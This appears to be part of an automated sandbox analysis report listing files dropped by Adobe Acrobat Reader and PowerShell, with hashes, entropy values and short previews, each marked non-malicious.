C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277439227559039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfbPtdPeUkwRe9:YvXKXcFMR2vR/ZwHAhGDV8Ukee9
MD5:	8E53146846D4DDE06C4CDB5FC315872E
SHA1:	9FD97B4FABA498E46CDB5FEAC4453B800D348FCB
SHA-256:	7EDEC219CB7C958F5BD6B63A5C672A94E397223D6658CABC91C8263AD4F58576
SHA-512:	9E0DCF8E2E99F8B0FA34D3B77AAF0465A6CB0E6E134C68F5E616E74D4BD4AF4443700114DC04AFA08069C370768A3D86D8B28E9FBC4911179E21A6246B5376BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2763970496904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJf21rPeUkwRe9:YvXKXcFMR2vR/ZwHAhG+16Ukee9
MD5:	DBA9723BC47838BFC9A3DF3177D50213
SHA1:	A460F53C5EFF9F4BD200D1C8E239744D2CB30126
SHA-256:	BB6E04F76B66D907A37D5DB1386EA784C63B83FFF0FD55B31FDD28916BACBCB7
SHA-512:	A99F5C2DCB9DE0BAD3F237355C69081EC644113F7A10956418DD084CACBF2A11AAFD173FDE934EBADCD8214C3674D685641FA69616538AC67613C533FA3B832D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670159131259515
Encrypted:	false
SSDEEP:	24:Yv6XcFMR2JhmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSy:YvRFM8JhoBgkDMUJUAh8cvMy
MD5:	C4C25D712E87931328B7F4F5C7577ED8
SHA1:	BD0C9AB395945580E9E2300BE95F376CC349AD36
SHA-256:	A8AB9D05E4C1C5FB36C5072BC54EC60DAB46F6FDCCE9166A8EE404823369534F
SHA-512:	D82476F09D90B406FCD28DCE793FFB74E8F1FE228ED925608D32EA7B3F51B4B75FA9CEEBE885A9F7917F538FC782F16624478BBC97C8AD8910715B2BBF4B08F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25013675064904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfshHHrPeUkwRe9:YvXKXcFMR2vR/ZwHAhGUUUkee9
MD5:	92DB3587F9ACC6413B9FD3B3CBAFF5D3
SHA1:	3C4063C52CE8D7C86746FF419B48AF301DD0FBBD
SHA-256:	9ACBD85DC3866BA88CA330B5EB3F8DA8B203301CB026DC96B5B5BCBB06B98855
SHA-512:	210F032C63FE2A7000D0CB22C859CBABE420494420965D76E8D2216C7184065291DD63AC0C883FA64B39C0912394C5CBB7C953FFA85E15E02B4DCAB4A24F5AB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.270979382339072
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJTqgFCrPeUkwRe9:YvXKXcFMR2vR/ZwHAhGTq16Ukee9
MD5:	F450EE3DB00206412887DEAB357E034D
SHA1:	8DDC30BAD318B83A88FAABEC20BFBB78511EE758
SHA-256:	31C353D51F1F5D5F98B117B43D8BACE4FAE783CC1DDD0837F5964FE12C123070
SHA-512:	B8BFE6E2B751903077FAF7E0C4EB6BB3BC52916E1D840190B5B525FC7EE00D93F2A6E60C4E7673519CE925C979B2547F1F392A404562FC7091406A8267C9F472
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138723095089687
Encrypted:	false
SSDEEP:	24:YZOFsaLmU4ay8l57qyJPK6o24ywyVeuwyTjbwQsj0Sps5V2ge2LSrCYqGGXjq53w:YIdjTtJSv2NvEE9+86hJqGGXeg9l
MD5:	4D2413F652BBC25F25C37A039C3F75CF
SHA1:	EA4937F23A729759735D548CC151BFF9DA23B2BC
SHA-256:	7833BE7D355B2597FA4BC42F06D01BB332DED4662A4B4A7199388FF9E924B120
SHA-512:	7B4020A3936C61C62E8ACCF88004B8E24A2F09FCA69465C36F8B1D5A325CDFEFEDE25DA302873A314CD616F99FABF327B08AD47170BF7918B0644BCEC91409D3
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"831f7d968e732a54e9fae78a7850bcbf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579867000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a7f9733c00ccaa15757c212e9afbeb81","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579867000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"43da6444fef724f96b670b83eb8228f2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579867000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d3e28aefa2ccd235beb87396097254f5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579867000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0e205ae9bc6a6982476c159212a29cab","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579866000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"000d232795622aafb05d98f9dc221562","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3183957785479632
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahV8yypilI/80:lNVms9WfMwbPahVlG9
MD5:	925C5EFC720B34F08093576ABD820D0C
SHA1:	4E0F743BF02C3F83D259DC03D8867C2960457A01
SHA-256:	C38F09FE3B28E57032FB13FB66C5FA944FBAB0F3B7E9D53663A97C6029A8C624
SHA-512:	1551906D9708B7FC0EDDC66B74D93C918277797C21C7AF9E03264B0607C432CB2804402A80F986CC8D3753A13EF2CACB3EE6B6D14AB44C0018598B98C23B179A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.781695933574875
Encrypted:	false
SSDEEP:	48:7MMWR1CPmPbPahV8zypilIMqFl2GL7ms9:7RWfMwbPahVgxKVms9
MD5:	F8AA4A4D0C5D5562FD1E68615BB30A36
SHA1:	3C33607223356B9343061168EF7BED640E1A994B
SHA-256:	E753E218B3E4D5A6A3876D85F8F12C559DF21424FAAF6DB1718A4DE1E214498C
SHA-512:	DF892E70C90788AF1E0E45952A6B0E4967FD480BC216ABF56FD3ECB254492D81AC11C404BFE9FE07312FF5471A23F4497619472E570A57BFCA242646D61395B3
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgmwzKo4092QKw1pQjBwtCM0uhdoxwYyu:6a6TZ44ADEmwzKonTj95rfK
MD5:	9A191D3E1C1BFD8B9B3FC4C5CA8D7D6D
SHA1:	B503EB16C77A04D62065B3281CE6F38D09465FEB
SHA-256:	5BD2B772F74159BC5699CC75CC13E370C3E3EE38872B6FD62BAB6283D6D6C950
SHA-512:	FB4EEB0E02AA8B451D7FEB88D377DB6A2E55C71F1DD9E84F022790A7CCC0B9D1B37624CD50258597573ECF1FC8644C83887ABDEE86C603EC45EC0F3F3CA79D20
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIaef4c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClElpw:Qw946cPbiOxDlbYnuRKdBa
MD5:	6E1605626B78DD202D243675AA413BE5
SHA1:	E6F4C13AD3936C3DCF4B27850F9E485F17A99073
SHA-256:	A0AD52A5B7D3B329E1C185730BDFF15D3B7D623ABFB916A7C4282086ED68523E
SHA-512:	831F5C1FE4D5F6557BC8D7CAEB74C087099C9E7D0D3B78086CD6386C18735653F0E4B65BCD6277FF6E6F858C208D5B49A359C4C12E8FC5C5211D326029E82A62
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.1.7.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3oqea0h0.ere.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eg2s3xtg.ni1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-17-42-396.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356291801432876
Encrypted:	false
SSDEEP:	384:VqmfvTqqaGRJ4u43JZRaD9SPnMraQypRi1nhz7xJkpB6QokgYrdpOFO7iXJDROub:bay
MD5:	5B26B8FDF46E8178A5F1A654DD5466BD
SHA1:	2278F2875810EA3B82868811A88E7C8C75A2DEC5
SHA-256:	87409AD2D145292A7578A1E8C748EA9C79EE3F5D3C710C2520F8FA9679667C46
SHA-512:	7DCB3E095F5924F078F135A2F874AB29B5C54588F05BC78548361B710D4FADE930BB3E15B1D42CE123D190F0B2B2BAF7F6DC3C947BB9F7601621ECCFD4E44351
Malicious:	false
Preview:	SessionID=4a35c44c-d9c0-4d65-88c4-5e1ef29af6d6.1736579862411 Timestamp=2025-01-11T02:17:42:411-0500 ThreadID=3404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4a35c44c-d9c0-4d65-88c4-5e1ef29af6d6.1736579862411 Timestamp=2025-01-11T02:17:42:412-0500 ThreadID=3404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4a35c44c-d9c0-4d65-88c4-5e1ef29af6d6.1736579862411 Timestamp=2025-01-11T02:17:42:412-0500 ThreadID=3404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4a35c44c-d9c0-4d65-88c4-5e1ef29af6d6.1736579862411 Timestamp=2025-01-11T02:17:42:412-0500 ThreadID=3404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4a35c44c-d9c0-4d65-88c4-5e1ef29af6d6.1736579862411 Timestamp=2025-01-11T02:17:42:413-0500 ThreadID=3404 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.404309282980743
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbzcbaIIwcbB:ceo4+rsC2In
MD5:	D8E9D03E128B3926DCEA6DC8DD4ED164
SHA1:	D5D9F0234FD500BF9BE5B91F85DE7D6F93713BD4
SHA-256:	14DFE3881B95419DA4FDA83F3CF421429154A0D33775CDB5EC1A86E9593ABC0E
SHA-512:	C1B9D83F9B9D90F0FC725001979BD0F55C077536AF6DB63761D4ECC32A5E78D3C498256AAB1644F2C529A5593EACDBC271331BCEB4C2628E069D843900C47508
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\844e7d57-d682-48b8-8d0e-44835beee6d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a24ec683-312a-47c6-9c20-115f21179649.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cd6925bf-a7f2-4765-b71b-abc1e2e4bdcc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VwYIGNPY9WL07oXGZbNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:twZGO9WLxXGZx3mlind9i4ufFXpAXkru
MD5:	3344412069E8A9B4F94F410309893414
SHA1:	A920F018E5E6999F2281A655B2FBE9A215190F94
